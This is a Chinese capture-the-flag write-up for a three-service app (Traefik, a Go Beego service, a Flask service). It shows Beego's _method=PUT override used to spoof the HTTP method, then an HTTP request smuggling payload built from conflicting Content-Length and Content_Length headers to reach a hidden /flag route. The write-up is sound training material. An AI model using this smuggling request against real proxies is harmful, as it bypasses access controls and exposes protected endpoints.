题目
简介:我们已经泄露了我们的应用的源代码,你能找到flag吗?
题目附件:附件.zip
WriteUP
查看题目附件给出的docker-compose.yml
文件 发现这个应用包括 3 个服务——Traefik(HTTP 代理)、一个 Go 微服务和一个 Python 微服务。
Traefik的配置文件如下所示。该服务作为 Go 微服务的反向代理,仅接受 POST、GET、OPTIONS、DELETE 和 PATCH 方法。
[http]
[http.routers]
[http.routers.Router0]
entryPoints = ["web"]
service = "app"
rule = "Method(`POST`, `GET`, `OPTIONS`, `DELETE`, `PATCH`)"
[http.services]
[http.services.app]
[[http.services.app.weighted.services]]
name = "appv1"
[http.services.appv1]
[http.services.appv1.loadBalancer]
[[http.services.appv1.loadBalancer.servers]]
url = "http://go-microservice:8080/"
Go微服务的配置文件如下所示。可以看到使用了 Beego Web 框架。当使用 PUT 方法时,此服务充当 Python 微服务的反向代理。
package main
import (
"fmt"
"github.com/beego/beego/v2/server/web"
"net/http/httputil"
"net/url"
)
type MainController struct {
web.Controller
}
func (this *MainController) Get() {
fmt.Println(this.Ctx.Request.ContentLength)
this.Ctx.WriteString("OK")
}
func (this *MainController) Put() {
targetURL := "http://python-microservice:80/"
url, err := url.Parse(targetURL)
if err != nil {
panic(fmt.Sprintf("failed to parse the URL: %v", err))
}
proxy := httputil.NewSingleHostReverseProxy(url)
proxy.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}
func main() {
web.Router("/", &MainController{})
web.Run()
}
Python微服务的配置文件如下所示。访问 Python 微服务的 /flag 路径就能获得 flag。
import os
from flask import Flask, request
from werkzeug.serving import WSGIRequestHandler
app = Flask(__name__)
@app.route('/flag')
def getflag():
with open("./flag.txt", "r") as f:
flag = f.read()
return flag
@app.route('/', methods=['POST'])
def echo_request():
return request.get_data()
if __name__ == '__main__':
WSGIRequestHandler.protocol_version = "HTTP/1.1"
app.run(host='0.0.0.0', port=80, threaded=True, debug=False)
HTTP 方法欺骗
要访问 Python 微服务,我们需要在 Go 微服务上使用 PUT 方法。然而,Traefik 代理只允许 POST、GET、OPTIONS、DELETE 和 PATCH 方法。
查看Beego 源代码,发现Beego本身在请求行中并不直接支持PUT请求方式,但还是有办法发出伪PUT请求。
if routerInfo != nil {
if routerInfo.routerType == routerTypeRESTFul {
if _, ok := routerInfo.methods[r.Method]; ok {
isRunnable = true
routerInfo.runFunction(ctx)
} else {
exception("405", ctx)
goto Admin
}
} else if routerInfo.routerType == routerTypeHandler {
isRunnable = true
routerInfo.handler.ServeHTTP(ctx.ResponseWriter, ctx.Request)
} else {
runRouter = routerInfo.controllerType
methodParams = routerInfo.methodParams
method := r.Method
if r.Method == http.MethodPost && ctx.Input.Query("_method") == http.MethodPut {
method = http.MethodPut
}
if r.Method == http.MethodPost && ctx.Input.Query("_method") == http.MethodDelete {
method = http.MethodDelete
}
if m, ok := routerInfo.methods[method]; ok {
runMethod = m
} else if m, ok = routerInfo.methods["*"]; ok {
runMethod = m
} else {
runMethod = method
}
}
}
当使用 POST 方法时,会对 _method 查询参数进行检查。例如,如果我们使用 ?_method=PUT,请求将被路由为 PUT 请求。
POST /?_method=PUT HTTP/1.1
Host: localhost
HTTP请求走私 现在我们已经到达 Beego 中的 PUT 处理程序,我们可以访问 Python 微服务。 例如,下划线 (_) 被转换为连字符 (-) 并照此解释。这意味着 Content_Length 标头的处理方式与 Content-Length 相同。
内置服务器还允许重复的 Content-Length 标头,导致上游服务器(Traefik 和 Beego)和 Flask 内置服务器在解释 HTTP 请求的长度时存在差异。
构造EXP
POST /?_method=PUT HTTP/1.1
Host: container_ip
Content-Length: 36
Content_Length: 0
GET /flag HTTP/1.1
Host: container_ip
Flag
flag{th1s_1s_a_s1mple_httpsmu99l1ng}